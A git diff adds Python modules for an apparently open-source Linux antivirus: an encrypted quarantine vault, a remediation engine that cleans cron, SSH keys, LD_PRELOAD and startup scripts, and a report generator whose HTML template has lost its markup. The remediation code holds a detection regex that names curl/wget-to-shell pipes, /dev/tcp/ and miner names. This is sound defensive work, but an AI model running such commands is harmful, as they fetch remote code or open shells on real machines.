a/ayn-antivirus/ayn_antivirus/quarantine/vault.py b/ayn-antivirus/ayn_antivirus/quarantine/vault.py new file mode 100644 index 0000000..5b8ceb7 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/quarantine/vault.py @@ -0,0 +1,378 @@ +"""Encrypted quarantine vault for AYN Antivirus. + +Isolates malicious files by encrypting them with Fernet (AES-128-CBC + +HMAC-SHA256) and storing them alongside JSON metadata in a dedicated +vault directory. Files can be restored, inspected, or permanently deleted. +""" + +from __future__ import annotations + +import fcntl +import json +import logging +import os +import re +import shutil +import stat +from datetime import datetime, timedelta +from pathlib import Path +from typing import Any, Dict, List, Optional +from uuid import uuid4 + +from cryptography.fernet import Fernet + +from ayn_antivirus.constants import ( + DEFAULT_QUARANTINE_PATH, + QUARANTINE_ENCRYPTION_KEY_FILE, + SCAN_CHUNK_SIZE, +) +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +class QuarantineVault: + """Encrypted file quarantine vault. + + Parameters + ---------- + quarantine_dir: + Directory where encrypted files and metadata are stored. + key_file_path: + Path to the Fernet key file. Generated automatically on first use. + """ + + _VALID_QID_PATTERN = re.compile(r'^[a-f0-9]{32}$') + + # Directories that should never be a restore destination. + _BLOCKED_DIRS = frozenset({ + Path("/etc"), Path("/usr/bin"), Path("/usr/sbin"), Path("/sbin"), + Path("/bin"), Path("/boot"), Path("/root/.ssh"), Path("/proc"), + Path("/sys"), Path("/dev"), Path("/var/run"), + }) + + # Directories used for scheduled tasks — never restore into these. + _CRON_DIRS = frozenset({ + Path("/etc/cron.d"), Path("/etc/cron.daily"), + Path("/etc/cron.hourly"), Path("/var/spool/cron"), + Path("/etc/systemd"), + }) + + def __init__( + self, + quarantine_dir: str | Path = DEFAULT_QUARANTINE_PATH, + key_file_path: str | Path = QUARANTINE_ENCRYPTION_KEY_FILE, + ) -> None: + self.vault_dir = Path(quarantine_dir) + self.key_file = Path(key_file_path) + self._fernet: Optional[Fernet] = None + + # Ensure directories exist. + self.vault_dir.mkdir(parents=True, exist_ok=True) + self.key_file.parent.mkdir(parents=True, exist_ok=True) + + # ------------------------------------------------------------------ + # Input validation + # ------------------------------------------------------------------ + + def _validate_qid(self, quarantine_id: str) -> str: + """Validate quarantine ID is a hex UUID (no path traversal). + + Raises :class:`ValueError` if the ID does not match the expected + 32-character hexadecimal format. + """ + qid = quarantine_id.strip() + if not self._VALID_QID_PATTERN.match(qid): + raise ValueError( + f"Invalid quarantine ID format: {quarantine_id!r} " + f"(must be 32 hex chars)" + ) + return qid + + def _validate_restore_path(self, path_str: str) -> Path: + """Validate restore path to prevent directory traversal. + + Blocks restoring to sensitive system directories and scheduled- + task directories. Resolves all paths to handle symlinks like + ``/etc`` → ``/private/etc`` on macOS. + """ + dest = Path(path_str).resolve() + for blocked in self._BLOCKED_DIRS: + resolved = blocked.resolve() + if dest == resolved or resolved in dest.parents or dest.parent == resolved: + raise ValueError(f"Refusing to restore to protected path: {dest}") + for cron_dir in self._CRON_DIRS: + resolved = cron_dir.resolve() + if resolved in dest.parents or dest.parent == resolved: + raise ValueError( + f"Refusing to restore to scheduled task directory: {dest}" + ) + return dest + + # ------------------------------------------------------------------ + # Key management + # ------------------------------------------------------------------ + + def _get_fernet(self) -> Fernet: + """Return the cached Fernet instance, loading or generating the key.""" + if self._fernet is not None: + return self._fernet + + if self.key_file.exists(): + key = self.key_file.read_bytes().strip() + else: + key = Fernet.generate_key() + # Write key with restricted permissions. + fd = os.open( + str(self.key_file), + os.O_WRONLY | os.O_CREAT | os.O_TRUNC, + 0o600, + ) + try: + os.write(fd, key + b"\n") + finally: + os.close(fd) + logger.info("Generated new quarantine encryption key: %s", self.key_file) + + self._fernet = Fernet(key) + return self._fernet + + # ------------------------------------------------------------------ + # Quarantine + # ------------------------------------------------------------------ + + def quarantine_file( + self, + file_path: str | Path, + threat_info: Dict[str, Any], + ) -> str: + """Encrypt and move a file into the vault. + + Parameters + ---------- + file_path: + Path to the file to quarantine. + threat_info: + Metadata dict (typically from a detector result). Expected keys: + ``threat_name``, ``threat_type``, ``severity``, ``file_hash``. + + Returns + ------- + str + The quarantine ID (UUID) for this entry. + """ + src = Path(file_path).resolve() + if not src.is_file(): + raise FileNotFoundError(f"Cannot quarantine: {src} does not exist or is not a file") + + qid = uuid4().hex + fernet = self._get_fernet() + + # Lock, read, and encrypt (prevents TOCTOU races). + with open(src, "rb") as f: + fcntl.flock(f.fileno(), fcntl.LOCK_EX) + plaintext = f.read() + st = os.fstat(f.fileno()) + fcntl.flock(f.fileno(), fcntl.LOCK_UN) + ciphertext = fernet.encrypt(plaintext) + + # Gather metadata. + meta = { + "id": qid, + "original_path": str(src), + "original_permissions": oct(st.st_mode & 0o7777), + "threat_name": threat_info.get("threat_name", "Unknown"), + "threat_type": threat_info.get("threat_type", "MALWARE"), + "severity": threat_info.get("severity", "HIGH"), + "quarantine_date": datetime.utcnow().isoformat(), + "file_hash": threat_info.get("file_hash", ""), + "file_size": st.st_size, + } + + # Write encrypted file + metadata. + enc_path = self.vault_dir / f"{qid}.enc" + meta_path = self.vault_dir / f"{qid}.json" + enc_path.write_bytes(ciphertext) + meta_path.write_text(json.dumps(meta, indent=2)) + + # Remove original. + try: + src.unlink() + logger.info("Quarantined %s → %s (threat: %s)", src, qid, meta["threat_name"]) + except OSError as exc: + logger.warning("Encrypted copy saved but failed to remove original %s: %s", src, exc) + + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "quarantine", + "quarantine_id": qid, + "original_path": str(src), + "threat_name": meta["threat_name"], + }) + + return qid + + # ------------------------------------------------------------------ + # Restore + # ------------------------------------------------------------------ + + def restore_file( + self, + quarantine_id: str, + restore_path: Optional[str | Path] = None, + ) -> str: + """Decrypt and restore a quarantined file. + + Parameters + ---------- + quarantine_id: + UUID returned by :meth:`quarantine_file`. + restore_path: + Where to write the restored file. Defaults to the original path. + + Returns + ------- + str + Absolute path of the restored file. + + Raises + ------ + ValueError + If the quarantine ID is malformed or the restore path points + to a protected system directory. + """ + qid = self._validate_qid(quarantine_id) + meta = self._load_meta(qid) + enc_path = self.vault_dir / f"{qid}.enc" + + if not enc_path.exists(): + raise FileNotFoundError(f"Encrypted file not found for quarantine ID {qid}") + + # Validate restore destination. + if restore_path: + dest = self._validate_restore_path(str(restore_path)) + else: + dest = self._validate_restore_path(str(meta["original_path"])) + + fernet = self._get_fernet() + ciphertext = enc_path.read_bytes() + plaintext = fernet.decrypt(ciphertext) + + dest.parent.mkdir(parents=True, exist_ok=True) + dest.write_bytes(plaintext) + + # Restore original permissions, stripping SUID/SGID/sticky bits. + try: + perms = int(meta.get("original_permissions", "0o644"), 8) + perms = perms & 0o0777 # Keep only rwx bits + dest.chmod(perms) + except (ValueError, OSError): + pass + + logger.info("Restored quarantined file %s → %s", qid, dest) + + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "restore", + "quarantine_id": qid, + "restored_path": str(dest), + }) + + return str(dest.resolve()) + + # ------------------------------------------------------------------ + # Delete + # ------------------------------------------------------------------ + + def delete_file(self, quarantine_id: str) -> bool: + """Permanently remove a quarantined entry (encrypted file + metadata). + + Returns ``True`` if files were deleted. + """ + qid = self._validate_qid(quarantine_id) + enc_path = self.vault_dir / f"{qid}.enc" + meta_path = self.vault_dir / f"{qid}.json" + + deleted = False + for p in (enc_path, meta_path): + if p.exists(): + p.unlink() + deleted = True + + if deleted: + logger.info("Permanently deleted quarantine entry: %s", qid) + event_bus.publish(EventType.QUARANTINE_ACTION, { + "action": "delete", + "quarantine_id": qid, + }) + + return deleted + + # ------------------------------------------------------------------ + # Listing / info + # ------------------------------------------------------------------ + + def list_quarantined(self) -> List[Dict[str, Any]]: + """Return a summary list of all quarantined items.""" + items: List[Dict[str, Any]] = [] + for meta_file in sorted(self.vault_dir.glob("*.json")): + try: + meta = json.loads(meta_file.read_text()) + items.append({ + "id": meta.get("id", meta_file.stem), + "original_path": meta.get("original_path", "?"), + "threat_name": meta.get("threat_name", "?"), + "quarantine_date": meta.get("quarantine_date", "?"), + "size": meta.get("file_size", 0), + }) + except (json.JSONDecodeError, OSError): + continue + return items + + def get_info(self, quarantine_id: str) -> Dict[str, Any]: + """Return full metadata for a quarantine entry. + + Raises ``FileNotFoundError`` if the ID is unknown. + """ + qid = self._validate_qid(quarantine_id) + return self._load_meta(qid) + + def count(self) -> int: + """Number of items currently in the vault.""" + return len(list(self.vault_dir.glob("*.json"))) + + # ------------------------------------------------------------------ + # Maintenance + # ------------------------------------------------------------------ + + def clean_old(self, days: int = 30) -> int: + """Delete quarantine entries older than *days*. + + Returns the number of entries removed. + """ + cutoff = datetime.utcnow() - timedelta(days=days) + removed = 0 + + for meta_file in self.vault_dir.glob("*.json"): + try: + meta = json.loads(meta_file.read_text()) + qdate = datetime.fromisoformat(meta.get("quarantine_date", "")) + if qdate < cutoff: + qid = meta.get("id", meta_file.stem) + self.delete_file(qid) + removed += 1 + except (json.JSONDecodeError, ValueError, OSError): + continue + + if removed: + logger.info("Cleaned %d quarantine entries older than %d days", removed, days) + return removed + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _load_meta(self, quarantine_id: str) -> Dict[str, Any]: + qid = self._validate_qid(quarantine_id) + meta_path = self.vault_dir / f"{qid}.json" + if not meta_path.exists(): + raise FileNotFoundError(f"Quarantine metadata not found: {qid}") + return json.loads(meta_path.read_text()) diff --git a/ayn-antivirus/ayn_antivirus/remediation/__init__.py b/ayn-antivirus/ayn_antivirus/remediation/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/remediation/patcher.py b/ayn-antivirus/ayn_antivirus/remediation/patcher.py new file mode 100644 index 0000000..2649f5d --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/remediation/patcher.py @@ -0,0 +1,544 @@ +"""Automated remediation engine for AYN Antivirus. + +Provides targeted fix actions for different threat types: permission +hardening, process killing, cron cleanup, SSH key auditing, startup +script removal, LD_PRELOAD cleaning, IP/domain blocking, and system +binary restoration via the system package manager. + +All actions support a **dry-run** mode that logs intended changes without +modifying the system. +""" + +from __future__ import annotations + +import logging +import os +import re +import shutil +import stat +import subprocess +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Dict, List, Optional + +import psutil + +from ayn_antivirus.constants import SUSPICIOUS_CRON_PATTERNS +from ayn_antivirus.core.event_bus import EventType, event_bus + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Action record +# --------------------------------------------------------------------------- + +@dataclass +class RemediationAction: + """Describes a single remediation step.""" + + action: str + target: str + details: str = "" + success: bool = False + dry_run: bool = False + + +# --------------------------------------------------------------------------- +# AutoPatcher +# --------------------------------------------------------------------------- + +class AutoPatcher: + """Apply targeted remediations against discovered threats. + + Parameters + ---------- + dry_run: + If ``True``, no changes are made — only the intended actions are + logged and returned. + """ + + def __init__(self, dry_run: bool = False) -> None: + self.dry_run = dry_run + self.actions: List[RemediationAction] = [] + + # ------------------------------------------------------------------ + # High-level dispatcher + # ------------------------------------------------------------------ + + def remediate_threat(self, threat_info: Dict[str, Any]) -> List[RemediationAction]: + """Choose and execute the correct fix(es) for *threat_info*. + + Routes on ``threat_type`` (MINER, ROOTKIT, SPYWARE, MALWARE, etc.) + and the available metadata. + """ + ttype = (threat_info.get("threat_type") or "").upper() + path = threat_info.get("path", "") + pid = threat_info.get("pid") + + actions: List[RemediationAction] = [] + + # Kill associated process. + if pid: + actions.append(self.kill_malicious_process(int(pid))) + + # Quarantine / permission fix for file-based threats. + if path and Path(path).exists(): + actions.append(self.fix_permissions(path)) + + # Type-specific extras. + if ttype == "ROOTKIT": + actions.append(self.fix_ld_preload()) + elif ttype == "MINER": + # Block known pool domains if we have one. + domain = threat_info.get("domain") + if domain: + actions.append(self.block_domain(domain)) + ip = threat_info.get("ip") + if ip: + actions.append(self.block_ip(ip)) + elif ttype == "SPYWARE": + if path and "cron" in path: + actions.append(self.remove_malicious_cron()) + + for a in actions: + self._publish(a) + + self.actions.extend(actions) + return actions + + # ------------------------------------------------------------------ + # Permission fixes + # ------------------------------------------------------------------ + + def fix_permissions(self, path: str | Path) -> RemediationAction: + """Remove SUID, SGID, and world-writable bits from *path*.""" + p = Path(path) + action = RemediationAction( + action="fix_permissions", + target=str(p), + dry_run=self.dry_run, + ) + + try: + st = p.stat() + old_mode = st.st_mode + new_mode = old_mode + + # Strip SUID / SGID. + new_mode &= ~stat.S_ISUID + new_mode &= ~stat.S_ISGID + # Strip world-writable. + new_mode &= ~stat.S_IWOTH + + if new_mode == old_mode: + action.details = "Permissions already safe" + action.success = True + return action + + action.details = ( + f"Changing permissions: {oct(old_mode & 0o7777)} → {oct(new_mode & 0o7777)}" + ) + + if not self.dry_run: + p.chmod(new_mode) + + action.success = True + logger.info("fix_permissions: %s %s", action.details, "(dry-run)" if self.dry_run else "") + except OSError as exc: + action.details = f"Failed: {exc}" + logger.error("fix_permissions failed on %s: %s", p, exc) + + return action + + # ------------------------------------------------------------------ + # Process killing + # ------------------------------------------------------------------ + + def kill_malicious_process(self, pid: int) -> RemediationAction: + """Send SIGKILL to *pid*.""" + action = RemediationAction( + action="kill_process", + target=str(pid), + dry_run=self.dry_run, + ) + + try: + proc = psutil.Process(pid) + action.details = f"Process: {proc.name()} (PID {pid})" + except psutil.NoSuchProcess: + action.details = f"PID {pid} no longer exists" + action.success = True + return action + + if self.dry_run: + action.success = True + return action + + try: + proc.kill() + proc.wait(timeout=5) + action.success = True + logger.info("Killed process %d (%s)", pid, proc.name()) + except psutil.NoSuchProcess: + action.success = True + action.details += " (already exited)" + except (psutil.AccessDenied, psutil.TimeoutExpired) as exc: + action.details += f" — {exc}" + logger.error("Failed to kill PID %d: %s", pid, exc) + + return action + + # ------------------------------------------------------------------ + # Cron cleanup + # ------------------------------------------------------------------ + + def remove_malicious_cron(self, pattern: Optional[str] = None) -> RemediationAction: + """Remove cron entries matching suspicious patterns. + + If *pattern* is ``None``, uses all :pydata:`SUSPICIOUS_CRON_PATTERNS`. + """ + action = RemediationAction( + action="remove_malicious_cron", + target="/var/spool/cron + /etc/cron.d", + dry_run=self.dry_run, + ) + + patterns = [re.compile(pattern)] if pattern else [ + re.compile(p) for p in SUSPICIOUS_CRON_PATTERNS + ] + + removed_lines: List[str] = [] + + cron_dirs = [ + Path("/var/spool/cron/crontabs"), + Path("/var/spool/cron"), + Path("/etc/cron.d"), + ] + + for cron_dir in cron_dirs: + if not cron_dir.is_dir(): + continue + for cron_file in cron_dir.iterdir(): + if not cron_file.is_file(): + continue + try: + lines = cron_file.read_text().splitlines() + clean_lines = [] + for line in lines: + if any(pat.search(line) for pat in patterns): + removed_lines.append(f"{cron_file}: {line.strip()}") + else: + clean_lines.append(line) + + if len(clean_lines) < len(lines) and not self.dry_run: + cron_file.write_text("\n".join(clean_lines) + "\n") + except OSError: + continue + + action.details = f"Removed {len(removed_lines)} cron line(s)" + if removed_lines: + action.details += ": " + "; ".join(removed_lines[:5]) + action.success = True + logger.info("remove_malicious_cron: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # SSH key cleanup + # ------------------------------------------------------------------ + + def clean_authorized_keys(self, path: Optional[str | Path] = None) -> RemediationAction: + """Remove unauthorized keys from ``authorized_keys``. + + Without *path*, scans all users' ``~/.ssh/authorized_keys`` plus + ``/root/.ssh/authorized_keys``. + + In non-dry-run mode, backs up the file before modifying. + """ + action = RemediationAction( + action="clean_authorized_keys", + target=str(path) if path else "all users", + dry_run=self.dry_run, + ) + + targets: List[Path] = [] + if path: + targets.append(Path(path)) + else: + # Root + root_ak = Path("/root/.ssh/authorized_keys") + if root_ak.exists(): + targets.append(root_ak) + # System users from /home + home = Path("/home") + if home.is_dir(): + for user_dir in home.iterdir(): + ak = user_dir / ".ssh" / "authorized_keys" + if ak.exists(): + targets.append(ak) + + total_removed = 0 + for ak_path in targets: + try: + lines = ak_path.read_text().splitlines() + clean: List[str] = [] + for line in lines: + stripped = line.strip() + if not stripped or stripped.startswith("#"): + clean.append(line) + continue + # Flag lines with forced commands as suspicious. + if stripped.startswith("command="): + total_removed += 1 + continue + clean.append(line) + + if len(clean) < len(lines) and not self.dry_run: + backup = ak_path.with_suffix(".bak") + shutil.copy2(str(ak_path), str(backup)) + ak_path.write_text("\n".join(clean) + "\n") + except OSError: + continue + + action.details = f"Removed {total_removed} suspicious key(s) from {len(targets)} file(s)" + action.success = True + logger.info("clean_authorized_keys: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # Startup script cleanup + # ------------------------------------------------------------------ + + def remove_suspicious_startup(self, path: Optional[str | Path] = None) -> RemediationAction: + """Remove suspicious entries from init scripts, systemd units, or rc.local.""" + action = RemediationAction( + action="remove_suspicious_startup", + target=str(path) if path else "/etc/init.d, systemd, rc.local", + dry_run=self.dry_run, + ) + + suspicious_re = re.compile( + r"(?:curl|wget)\s+.*\|\s*(?:sh|bash)|xmrig|minerd|/dev/tcp/|nohup\s+.*&", + re.IGNORECASE, + ) + + targets: List[Path] = [] + if path: + targets.append(Path(path)) + else: + rc_local = Path("/etc/rc.local") + if rc_local.exists(): + targets.append(rc_local) + for d in ("/etc/init.d", "/etc/systemd/system"): + dp = Path(d) + if dp.is_dir(): + targets.extend(f for f in dp.iterdir() if f.is_file()) + + cleaned_count = 0 + for target in targets: + try: + content = target.read_text() + lines = content.splitlines() + clean = [l for l in lines if not suspicious_re.search(l)] + if len(clean) < len(lines): + cleaned_count += len(lines) - len(clean) + if not self.dry_run: + backup = target.with_suffix(target.suffix + ".bak") + shutil.copy2(str(target), str(backup)) + target.write_text("\n".join(clean) + "\n") + except OSError: + continue + + action.details = f"Removed {cleaned_count} suspicious line(s) from {len(targets)} file(s)" + action.success = True + logger.info("remove_suspicious_startup: %s", action.details) + + return action + + # ------------------------------------------------------------------ + # LD_PRELOAD cleanup + # ------------------------------------------------------------------ + + def fix_ld_preload(self) -> RemediationAction: + """Remove all entries from ``/etc/ld.so.preload``.""" + action = RemediationAction( + action="fix_ld_preload", + target="/etc/ld.so.preload", + dry_run=self.dry_run, + ) + + ld_path = Path("/etc/ld.so.preload") + if not ld_path.exists(): + action.details = "File does not exist — nothing to fix" + action.success = True + return action + + try: + content = ld_path.read_text().strip() + if not content: + action.details = "File is already empty" + action.success = True + return action + + action.details = f"Clearing ld.so.preload (was: {content[:120]})" + + if not self.dry_run: + backup = ld_path.with_suffix(".bak") + shutil.copy2(str(ld_path), str(backup)) + ld_path.write_text("") + + action.success = True + logger.info("fix_ld_preload: %s", action.details) + except OSError as exc: + action.details = f"Failed: {exc}" + logger.error("fix_ld_preload: %s", exc) + + return action + + # ------------------------------------------------------------------ + # Network blocking + # ------------------------------------------------------------------ + + def block_ip(self, ip_address: str) -> RemediationAction: + """Add an iptables DROP rule for *ip_address*.""" + action = RemediationAction( + action="block_ip", + target=ip_address, + dry_run=self.dry_run, + ) + + cmd = ["iptables", "-A", "OUTPUT", "-d", ip_address, "-j", "DROP"] + action.details = f"Rule: {' '.join(cmd)}" + + if self.dry_run: + action.success = True + return action + + try: + subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=10) + action.success = True + logger.info("Blocked IP via iptables: %s", ip_address) + except (subprocess.CalledProcessError, FileNotFoundError, OSError) as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to block IP %s: %s", ip_address, exc) + + return action + + def block_domain(self, domain: str) -> RemediationAction: + """Redirect *domain* to 127.0.0.1 via ``/etc/hosts``.""" + action = RemediationAction( + action="block_domain", + target=domain, + dry_run=self.dry_run, + ) + + hosts_path = Path("/etc/hosts") + entry = f"127.0.0.1 {domain} # blocked by ayn-antivirus" + action.details = f"Adding to /etc/hosts: {entry}" + + if self.dry_run: + action.success = True + return action + + try: + current = hosts_path.read_text() + if domain in current: + action.details = f"Domain {domain} already in /etc/hosts" + action.success = True + return action + with open(hosts_path, "a") as fh: + fh.write(f"\n{entry}\n") + action.success = True + logger.info("Blocked domain via /etc/hosts: %s", domain) + except OSError as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to block domain %s: %s", domain, exc) + + return action + + # ------------------------------------------------------------------ + # System binary restoration + # ------------------------------------------------------------------ + + def restore_system_binary(self, binary_path: str | Path) -> RemediationAction: + """Reinstall the package owning *binary_path* using the system package manager.""" + binary_path = Path(binary_path) + action = RemediationAction( + action="restore_system_binary", + target=str(binary_path), + dry_run=self.dry_run, + ) + + # Determine package manager and owning package. + pkg_name, pm_cmd = _find_owning_package(binary_path) + + if not pkg_name: + action.details = f"Cannot determine owning package for {binary_path}" + return action + + reinstall_cmd = pm_cmd + [pkg_name] + action.details = f"Reinstalling package '{pkg_name}': {' '.join(reinstall_cmd)}" + + if self.dry_run: + action.success = True + return action + + try: + subprocess.check_call( + reinstall_cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=120 + ) + action.success = True + logger.info("Restored %s via %s", binary_path, " ".join(reinstall_cmd)) + except (subprocess.CalledProcessError, FileNotFoundError, OSError) as exc: + action.details += f" — failed: {exc}" + logger.error("Failed to restore %s: %s", binary_path, exc) + + return action + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _publish(self, action: RemediationAction) -> None: + event_bus.publish(EventType.REMEDIATION_ACTION, { + "action": action.action, + "target": action.target, + "details": action.details, + "success": action.success, + "dry_run": action.dry_run, + }) + + +# --------------------------------------------------------------------------- +# Package-manager helpers +# --------------------------------------------------------------------------- + +def _find_owning_package(binary_path: Path) -> tuple: + """Return ``(package_name, reinstall_command_prefix)`` or ``("", [])``.""" + path_str = str(binary_path) + + # dpkg (Debian/Ubuntu) + try: + out = subprocess.check_output( + ["dpkg", "-S", path_str], stderr=subprocess.DEVNULL, timeout=10 + ).decode().strip() + pkg = out.split(":")[0] + return pkg, ["apt-get", "install", "--reinstall", "-y"] + except (subprocess.CalledProcessError, FileNotFoundError, OSError): + pass + + # rpm (RHEL/CentOS/Fedora) + try: + out = subprocess.check_output( + ["rpm", "-qf", path_str], stderr=subprocess.DEVNULL, timeout=10 + ).decode().strip() + if "not owned" not in out: + # Try dnf first, fall back to yum. + pm = "dnf" if shutil.which("dnf") else "yum" + return out, [pm, "reinstall", "-y"] + except (subprocess.CalledProcessError, FileNotFoundError, OSError): + pass + + return "", [] diff --git a/ayn-antivirus/ayn_antivirus/reports/__init__.py b/ayn-antivirus/ayn_antivirus/reports/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/reports/generator.py b/ayn-antivirus/ayn_antivirus/reports/generator.py new file mode 100644 index 0000000..223f602 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/reports/generator.py @@ -0,0 +1,535 @@ +"""Report generator for AYN Antivirus. + +Produces scan reports in plain-text, JSON, and HTML formats from +:class:`ScanResult` / :class:`FullScanResult` dataclasses. +""" + +from __future__ import annotations + +import html as html_mod +import json +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional, Union + +from ayn_antivirus import __version__ +from ayn_antivirus.core.engine import ( + FullScanResult, + ScanResult, + ThreatInfo, +) +from ayn_antivirus.utils.helpers import format_duration, format_size, get_system_info + +# Type alias for either result kind. +AnyResult = Union[ScanResult, FullScanResult] + + +class ReportGenerator: + """Create scan reports in multiple output formats.""" + + # ------------------------------------------------------------------ + # Plain text + # ------------------------------------------------------------------ + + @staticmethod + def generate_text(result: AnyResult) -> str: + """Render a human-readable plain-text report.""" + threats, meta = _extract(result) + lines: List[str] = [] + + lines.append("=" * 72) + lines.append(" AYN ANTIVIRUS — SCAN REPORT") + lines.append("=" * 72) + lines.append("") + lines.append(f" Generated : {datetime.utcnow().isoformat()}") + lines.append(f" Version : {__version__}") + lines.append(f" Scan ID : {meta.get('scan_id', 'N/A')}") + lines.append(f" Scan Type : {meta.get('scan_type', 'N/A')}") + lines.append(f" Duration : {format_duration(meta.get('duration', 0))}") + lines.append("") + + # Summary. + sev_counts = _severity_counts(threats) + lines.append("-" * 72) + lines.append(" SUMMARY") + lines.append("-" * 72) + lines.append(f" Files scanned : {meta.get('files_scanned', 0)}") + lines.append(f" Files skipped : {meta.get('files_skipped', 0)}") + lines.append(f" Threats found : {len(threats)}") + lines.append(f" CRITICAL : {sev_counts.get('CRITICAL', 0)}") + lines.append(f" HIGH : {sev_counts.get('HIGH', 0)}") + lines.append(f" MEDIUM : {sev_counts.get('MEDIUM', 0)}") + lines.append(f" LOW : {sev_counts.get('LOW', 0)}") + lines.append("") + + # Threat table. + if threats: + lines.append("-" * 72) + lines.append(" THREATS") + lines.append("-" * 72) + hdr = f" {'#':>3} {'Severity':<10} {'Threat Name':<30} {'File'}" + lines.append(hdr) + lines.append(" " + "-" * 68) + for idx, t in enumerate(threats, 1): + sev = _sev_str(t) + name = t.threat_name[:30] + fpath = t.path[:60] + lines.append(f" {idx:>3} {sev:<10} {name:<30} {fpath}") + lines.append("") + + # System info. + try: + info = get_system_info() + lines.append("-" * 72) + lines.append(" SYSTEM INFORMATION") + lines.append("-" * 72) + lines.append(f" Hostname : {info['hostname']}") + lines.append(f" OS : {info['os_pretty']}") + lines.append(f" CPUs : {info['cpu_count']}") + lines.append(f" Memory : {info['memory_total_human']}") + lines.append(f" Uptime : {info['uptime_human']}") + lines.append("") + except Exception: + pass + + lines.append("=" * 72) + lines.append(f" Report generated by AYN Antivirus v{__version__}") + lines.append("=" * 72) + return "\n".join(lines) + "\n" + + # ------------------------------------------------------------------ + # JSON + # ------------------------------------------------------------------ + + @staticmethod + def generate_json(result: AnyResult) -> str: + """Render a machine-readable JSON report.""" + threats, meta = _extract(result) + sev_counts = _severity_counts(threats) + + try: + sys_info = get_system_info() + except Exception: + sys_info = {} + + report: Dict[str, Any] = { + "generator": f"ayn-antivirus v{__version__}", + "generated_at": datetime.utcnow().isoformat(), + "scan": { + "scan_id": meta.get("scan_id"), + "scan_type": meta.get("scan_type"), + "start_time": meta.get("start_time"), + "end_time": meta.get("end_time"), + "duration_seconds": meta.get("duration"), + "files_scanned": meta.get("files_scanned", 0), + "files_skipped": meta.get("files_skipped", 0), + }, + "summary": { + "total_threats": len(threats), + "by_severity": sev_counts, + }, + "threats": [ + { + "path": t.path, + "threat_name": t.threat_name, + "threat_type": t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type), + "severity": _sev_str(t), + "detector": t.detector_name, + "details": t.details, + "file_hash": t.file_hash, + "timestamp": t.timestamp.isoformat() if hasattr(t.timestamp, "isoformat") else str(t.timestamp), + } + for t in threats + ], + "system": sys_info, + } + return json.dumps(report, indent=2, default=str) + + # ------------------------------------------------------------------ + # HTML + # ------------------------------------------------------------------ + + @staticmethod + def generate_html(result: AnyResult) -> str: + """Render a professional HTML report with dark-theme CSS.""" + threats, meta = _extract(result) + sev_counts = _severity_counts(threats) + now = datetime.utcnow() + esc = html_mod.escape + + try: + sys_info = get_system_info() + except Exception: + sys_info = {} + + total_threats = len(threats) + status_class = "clean" if total_threats == 0 else "infected" + + # --- Build threat table rows --- + threat_rows = [] + for idx, t in enumerate(threats, 1): + sev = _sev_str(t) + sev_lower = sev.lower() + ttype = t.threat_type.name if hasattr(t.threat_type, "name") else str(t.threat_type) + threat_rows.append( + f"" + f'{idx}' + f"{esc(t.path)}" + f"{esc(t.threat_name)}" + f"{esc(ttype)}" + f'{sev}' + f"{esc(t.detector_name)}" + f'{esc(t.file_hash[:16])}{"…" if len(t.file_hash) > 16 else ""}' + f"" + ) + + threat_table = "\n".join(threat_rows) if threat_rows else ( + 'No threats detected ✅' + ) + + # --- System info rows --- + sys_rows = "" + if sys_info: + sys_rows = ( + f"Hostname{esc(str(sys_info.get('hostname', '')))}" + f"Operating System{esc(str(sys_info.get('os_pretty', '')))}" + f"Architecture{esc(str(sys_info.get('architecture', '')))}" + f"CPUs{sys_info.get('cpu_count', '?')}" + f"Memory{esc(str(sys_info.get('memory_total_human', '')))}" + f" ({sys_info.get('memory_percent', '?')}% used)" + f"Uptime{esc(str(sys_info.get('uptime_human', '')))}" + ) + + html = f"""\ + + + + + +AYN Antivirus — Scan Report + + + + + +
+ +
Scan Report — {esc(now.strftime("%Y-%m-%d %H:%M:%S"))}
+
+ + +
+
+
{meta.get("files_scanned", 0)}
+
Files Scanned
+
+
+
{total_threats}
+
Threats Found
+
+
+
{sev_counts.get("CRITICAL", 0)}
+
Critical
+
+
+
{sev_counts.get("HIGH", 0)}
+
High
+
+
+
{sev_counts.get("MEDIUM", 0)}
+
Medium
+
+
+
{sev_counts.get("LOW", 0)}
+
Low
+
+
+ + +
+

Scan Details

+ + + + + + +
Scan ID{esc(str(meta.get("scan_id", "N/A")))}
Scan Type{esc(str(meta.get("scan_type", "N/A")))}
Duration{esc(format_duration(meta.get("duration", 0)))}
Files Scanned{meta.get("files_scanned", 0)}
Files Skipped{meta.get("files_skipped", 0)}
+
+ + +
+

Threat Details

+ + + + + + + + + + + + + + {threat_table} + +
#File PathThreat NameTypeSeverityDetectorHash
+
+ + +
+

System Information

+ + {sys_rows} +
+
+ + +
+ Generated by AYN Antivirus v{__version__} — {esc(now.isoformat())} +
